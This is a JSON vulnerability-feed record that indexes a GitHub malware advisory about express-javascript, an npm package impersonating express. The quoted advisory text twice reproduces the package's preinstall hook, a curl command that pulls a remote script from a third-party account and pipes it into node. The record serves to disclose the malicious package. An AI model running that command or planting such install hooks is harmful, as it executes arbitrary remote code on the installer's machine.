{"items":[{"id":"NVI-00010013","kind":"supply_chain_event","title":"Malicious code in express-javascript (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-2m2v-6g9c-m674"],"plain_summary":"GitHub lists this malware advisory for express-javascript, express-javascript. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-bdf50b438e992a8244fc97ee2dba60de"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-bdf50b438e992a8244fc97ee2dba60de","url":"https://github.com/advisories/GHSA-2m2v-6g9c-m674","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-2m2v-6g9c-m674","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:07:22.853Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-bdf50b438e992a8244fc97ee2dba60de"],"technology":"express-javascript","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (73e4909976d37fb7fb7dd30012d82bd882608df20716a824f1dc0efa074b5401)\nexpress-javascript@5.2.1 impersonates the express package (copying its description, author, contributors, repository, homepage, and dependency list verbatim) while its package.json preinstall lifecycle hook runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party account unrelated to the express publisher via a web.archive.org wrapper on a mutable `branch/main` ref and piping it into node with no integrity check. Every `npm install` of this package executes whatever bytes that endpoint returns on the installer's machine.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.1"]},{"certainty":"source_listed","source_ids":["sr-bdf50b438e992a8244fc97ee2dba60de"],"technology":"express-javascript","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (73e4909976d37fb7fb7dd30012d82bd882608df20716a824f1dc0efa074b5401)\nexpress-javascript@5.2.1 impersonates the express package (copying its description, author, contributors, repository, homepage, and dependency list verbatim) while its package.json preinstall lifecycle hook runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party account unrelated to the express publisher via a web.archive.org wrapper on a mutable `branch/main` ref and piping it into node with no integrity check. Every `npm install` of this package executes whatever bytes that endpoint returns on the installer's machine.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.2"]}],"null_published_at":"2026-10-31T22:13:44.205Z","source_updated_at":"2026-10-06T00:33:06.000Z","source_disclosed_at":"2026-09-29T15:31:01.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:07:22.853Z"}],"next_cursor":null,"snapshot_revision":"40769"}